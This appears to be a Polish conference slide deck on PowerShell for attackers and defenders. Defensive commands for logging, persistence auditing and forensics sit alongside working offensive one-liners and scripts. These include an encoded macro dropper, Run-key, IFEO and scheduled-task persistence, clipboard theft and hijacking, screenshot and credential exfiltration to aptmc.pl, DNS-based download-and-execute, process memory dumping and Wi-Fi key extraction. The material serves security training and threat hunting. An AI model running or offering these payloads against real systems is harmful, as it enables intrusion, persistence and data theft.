



POWERSHELL: MIECZ RED TEAMÓW, TARCZA BLUE TEAMÓW, SZKIEŁKO I OKO THREAT HUNTERÓW.



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Najważniejsze polecenia


Help, Help about_*

Update-Help

Get-Alias


Get-Command

| Get-Member



Po co blue teamom Powershell?

```
iex "& { $(irm https://aka.ms/install-powershell.ps1) } -UseMSI"
```



Po co blue teamom Powershell?



```
Set-ExecutionPolicy Bypass -Scope Process -Force;  
iex ((New-Object  
System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
```



<https://chocolatey.org/install>



Po co blue teamom Powershell?

```
Get-WindowsCapability -online | ? Name -like '*SSH*'
```

```
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
```



Po co blue teamom Powershell?

```
Set-Service sshd -StartupType Automatic
```

```
Get-Service sshd
```

```
Get-Service sshd | gm
```

```
Get-Service sshd | Start-Service
```



Po co blue teamom Powershell?

ps

ps | gm

ps | ConvertTo-Html > ps.html

ps | select path,company,cpu

ps | select name,path,company,cpu | sort cpu -desc -Top 10



Złośliwe dokumenty MS Office

iwr aptmc.pl/calc | iex



powershell -enc

aQB3AHIAIABhAHAAAdABtAGMALgBwAGwALwBjAGEAbABjACAAfAAgAGkAZQB4AA==

Sub Document_Open

Shell "cmd /c powershell -enc aQB3AHIAIABhAHAAAdABtAGMALg[...]",vbHide

End Sub



Zaufane dokumenty MS Office

Get-PSProvider

```
(ls "HKCU:\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords").Property
```



Autostart

New-ItemProperty HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name omh -Value "powershell calc.exe"

New-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name omh -Value "powershell calc.exe"



Autostart i uprawnienia

gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

gp HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

gp HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

Get-Acl HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | Format-List



Mój przyjaciel Debugger

```
ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File  
Execution Options\foo.exe"
```

```
sp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File  
Execution Options\foo.exe" -name Debugger -Value "powershell -c ps|ogv -  
wait;#"
```

```
ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File  
Execution Options\foo.exe" | sp -name Debugger -Value "powershell -c  
ps|ogv -wait;#"
```



Debugger? No nie lubię

```
gp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File  
Execution Options\*" | where Debugger | select PSChildName, Debugger
```



Schowek – co może pójść nie tak?

Stwórz skrypt, który skanuje schowek co 60 sekund i eksfiltruje jego zawartość

```
while ($True) {  
    gcb -f t >> $env:temp\clip  
    iwr -me po -i "$env:temp\clip" exfil.aptmc.pl  
    sleep 60  
}
```



Schówek – jeszcze straszniej

Stwórz skrypt, który skanuje schówek co 5 sekund i jeśli wystąpi w nim string .exe, to doklei do schowka złośliwy kod

```
$payload = "iwr aptmc.pl/calc|iex"  
while ($True) {  
    $clip = gcb -f t  
    if ($clip -match "\.exe" -and $clip -notmatch $payload) {  
        scb "$clip;$payload`r`n"  
    }  
    sleep 5  
}
```



Klawiatura powershellem

Stwórz skrypt, który zapisze screenshot do pliku

```
[void][reflection.assembly]::loadwithpartialname("system.windows.forms")  
[system.windows.forms.sendkeys]::sendwait('{PRTSC}')  
(gcb -f Image).Save("$env:temp\shot.png")
```



I know..

Start-Transcript

Start-Transcript -IncludeInvocationHeader



New-Item -Force HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription

Set-ItemProperty HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name

EnableTranscripting -Value 1



aptm.in/protip/0009

devblogs.microsoft.com/powershell/powershell-the-blue-team/



Logowanie skryptów

New-Item -Force

HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Set-ItemProperty

HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name
EnableScriptBlockLogging -Value 1



A może zapomniał posprzątać..

`gci (Get-PSReadLineOption).HistorySavePath`



Zaplanujmy zadania

ScheduledTask – cron na Windowsie

```
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w h -c  
"&{iwr -useb aptmc.pl/calc|iex}""  
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries  
$trigger = New-ScheduledTaskTrigger -Daily -At 18:01  
Register-ScheduledTask -Settings $settings -Action $action -Trigger $trigger -TaskName  
"Windows Update Checker" -Description "Checks if there is an update available"
```



A cóż to za zadania..

Get-ScheduledTask

```
|%{[pscustomobject]@{Name=$_.TaskName;Path=$_.TaskPath;Execute=$_.Actions  
.Execute;Args=$_.Actions.Arguments}}| Out-GridView
```



A skąd pobrano te pliki?

```
gci -r $HOME | gi -s * | where Stream -ne ':$DATA' | select Filename, Stream
```

```
gc remote.ps1 -Stream Zone.Identifier
```



NiespoCMDzianka!



```
ni -p "HKCU:\Software\Microsoft\Command Processor" -f|sp -n AutoRun -v "mspaint"
```



A co mnie tu wtykasz!

ls HKLM:\SYSTEM\CurrentControlSet\Enum\HID*



LilyPad Arduino USB - mikrokontroler ATmega32U4

Miniaturowy moduł z mikrokontrolerem AVR Atmega32U4, wyposażony w 32 kb pamięci Flash, 9 pinów cyfrowych, z czego 4 mogą być wykorzystane jako wejścia analogowe i wyjścia PWM.

Wgrany bootloader pozwala na programowanie płytki za pomocą Arduino IDE by uzyskać ciekawe efekty świetlne na diodach LED podłączonych do wyjść cyfrowych. Urządzenie można zastosować do systemu inteligentnych ubrań.



Księgowość raczej nie wciska Start+R

```
$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU;  
$i.MRUList.ToCharArray()|%{$i.$_}
```



..a marketing nie używa narzędzi z Sysinternals

Is HKCU:\Software\Sysinternals|select Name

The screenshot displays a Windows desktop with several open windows. The primary window is a Command Prompt titled "Administrator: C:\Windows\system32\cmd.exe". It shows the execution of a PsExec command to run a remote command, which fails with the error: "Error establishing communication with PsExec service on [redacted]. The system cannot find the file specified." The command used was: `psexec -i -u "nt authority\network service" "C:\Windows\System32\cmd.exe"`.

Other open windows include:

- Autoruns** - Sysinternals: www.sysinternals.com, showing a list of startup items.
- Process Explorer** - Sysinternals: www.sysinternals.com, displaying a table of running processes.
- Process Monitor** - Sysinternals: www.sysinternals.com, showing a log of system events.

Process	CPU	Private Bytes	Working Set
System Idle Process	77.15	0 K	28
System	0.78	64 K	36
smss.exe	4.84	0 K	0
svchost.exe	< 0.01	1,544 K	1,912
csrss.exe		736 K	292
lsass.exe		4,036 K	4,396
smss.exe		2,304 K	3,108
svchost.exe		1,084 K	1,824
csrss.exe	0.05	6,840 K	12,724
lsass.exe		1,160 K	1,396
smss.exe	0.05	2,220 K	6,908
svchost.exe	0.02	2,948 K	3,576
csrss.exe		576 K	696
lsass.exe	0.04	13,212 K	12,340



Rekonesans Active Directory

```
([adsisearcher]"objectCategory=computer").FindAll()
```

```
([adsisearcher]"servicePrincipalName=MSSQLSvc/*").FindAll()
```



Rekonesans sieciowy

`(irm ipinfo.io/json).ip`

`1..254 | % {Resolve-DnsName 46.229.145.$_ -ErrorAction SilentlyContinue}`

`(netsh wlan show profiles) | % {$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear} | sls "Key Content", "SSID name"`



DNS – i jak go nie kochać?

```
(irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex
```

```
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type  
TXT msg.aptmc.pl).strings))|iex
```



Co tam w DNS piszczy..

```
Get-DnsClientCache | select data,entry | Format-List
```

```
ipconfig /displaydns
```



W pamięci skarby odnajdziesz

Zrzuć pamięć wybranego procesu i spróbuj tam odnaleźć wrażliwe dane

iwr

<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1> | iex

\$dump=(ps -name Notepad | out-minidump)

iwr <https://live.sysinternals.com/tools/strings.exe> -OutFile strings.exe

.\strings.exe -accepteula -n 10 \$dump | select-string -Context 2 password

rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 555 555.dmp full



A co Pan ogląda?

Stwórz skrypt, który zrobi screenshota i go wyeksfiltruje hen daleko

```
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width, $Height = $Screen.Width, $Screen.Height
$Left, $Top = $Screen.Left, $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$ms=[System.IO.MemoryStream]::new()
$bitmap.Save($ms, [System.Drawing.Imaging.ImageFormat]::jpeg)
$graphic.Dispose()
$imgb64=[System.Convert]::ToBase64String($ms.GetBuffer())
```

```
iwr -me po -b $imgb64 http://aptmc.pl:7777
```



Constrained Language Mode

`$ExecutionContext.SessionState.LanguageMode`

`$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"`



Polujemy na wszystkich komputerach

```
$scr = {  
    $uri = 'https://aptpmc.pl/ps1/rest/'  
    $username = $using:creds.UserName  
    $password =  
[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::  
SecureStringToBSTR($using:creds.Password))  
    $auth =  
[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("${username}:${password}"))  
    Invoke-RestMethod -Headers @{Authorization=("Basic {0}" -f $auth)} -Uri $uri -Body  
@{Users=(Get-LocalUser|ConvertTo-Json)} -Method Post  
}
```

```
$creds = Get-Credential
```

```
Invoke-Command -ComputerName localhost,127.0.0.1 -ScriptBlock $scr
```



Zmienną kradnij zmienną

YO DAWG, SLYSZALEM, ZE LUBISZ ZMIENNE

WIEC WRZUCILEM SWOJA ZMIENNA,
KTORA WYEKSFILTRUJE TWOJA ZMIENNA

```
(sv -o a -p password "").attributes.add([validatescript]({irm  
https://aptmc.pl/ps1/steal/ -me po -b $_;return $true})))
```



High five!

aptm.in/omh20

aptm.in/p

aptm.in



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